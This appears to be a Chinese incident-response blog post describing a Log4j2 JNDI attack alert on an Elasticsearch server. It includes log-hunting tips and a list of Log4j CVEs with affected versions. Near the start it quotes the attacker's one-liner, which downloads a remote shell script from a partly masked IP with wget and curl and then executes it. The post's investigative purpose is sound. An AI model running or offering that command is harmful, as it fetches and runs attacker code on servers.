(全文约2500字,预计阅读时间 5 分钟)
前言
初步分析
临近22年元旦,虽国内仍有疫情零星般出现,在政策严控之下,世间呈太平之势,百姓安居乐业,笔者也跟风外出跨年玩(xiang)耍(qin)一番。但世事无常,31号晚5时许,甲方爸爸突然在微信群里圈笔者:“@X工 微步设备告警个攻击成功的,请确认下是否真实。”笔者此时已经收拾好仪容准备出门赴跨年之约,心里虽有数不尽的宝可梦滚过,但还是从包里掏出电脑看问题。
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://192.74.XXX.XXX/8UsA.sh; curl -O http://192.74.XXX.XXX/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh
上机
偷懒方法查看ES版本(默认端口):curl http://127.0.0.1:9200
Elasticsearch中Log4j配置文件路径:[ES安装目录]/config/log4j2.properties
Elasticsearch日志:[ES安装目录]/logs/Elasticsearch.log
哪知又来一个不好的消息:对外开放访问的Web服务是https的。这也意味着不能从流量设备上捞攻击告警信息。(笔者差点“哇”地一声哭出来,工作量剧增了有没有!)
验证猜想
至于Elasticsearch为何没有执行恶意命令,可能是jdk版本太低不兼容又或者权限导致,这里就不深究这个问题,笔者要出门玩耍了!
感悟
流量特征
应急排查技巧
1.Log4j漏洞源于它输出的日志,一般情况下全盘搜索"log4j2.properties"文件,说不定就能找到它的日志;
2.Log4j组件打印的日志分几个级别(FATAL、ERROR、WARN、INFO、DEBUG、TRACE),如果不能确定你看的log是不是Log4j的,那就在日志里看看每一行打印的文本是不是都带上这些级别的字样,万一有了呢;
3.如果你实在找不到日志,那不妨可以试试命令行:grep -r "*${jndi*"(Linux);
4.大胆假设,小心验证,不急不躁,不慌不忙,就能应好急。
附言
【CVE-2021-44228】
-
漏洞名称:Apache Log4j2 远程代码执行漏洞 -
漏洞危害:命令注入 -
利用条件:默认配置 -
受影响版本:Apache Log4j 2.0-beta9 - 2.12.1、Apache Log4j 2.13.0 - 2.15.0-rc1
【CVE-2021-45046】
-
漏洞名称:Apache Log4j2 拒绝服务漏洞 -
漏洞危害:拒绝服务 -
利用条件:默认配置 -
受影响版本:Apache Log4j 2.0-beta9 - 2.12.1、Apache Log4j 2.13.0 - 2.15.0-rc2
【CVE-2021-45105】
-
漏洞名称:Apache Log4j2 拒绝服务漏洞 -
漏洞危害:拒绝服务 -
利用条件:默认配置 -
受影响版本:Apache Log4j 2.0-beta9 - 2.16.0
【CVE-2021-44832】
-
漏洞名称:Apache Log4j2 远程代码执行漏洞 -
漏洞危害:命令注入 -
利用条件:需特定配置
-
受影响版本:Apache Log4j 2.0-alpha7 - 2.17.0(Apache Log4j ≠ 2.3.2 或 2.12.4)
注:以上部分图片来自网络,如有侵权,联系删除。
原文始发于微信公众号(微步在线研究响应中心):应急响应实战 | Log4j2引发的JRMP外连事件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论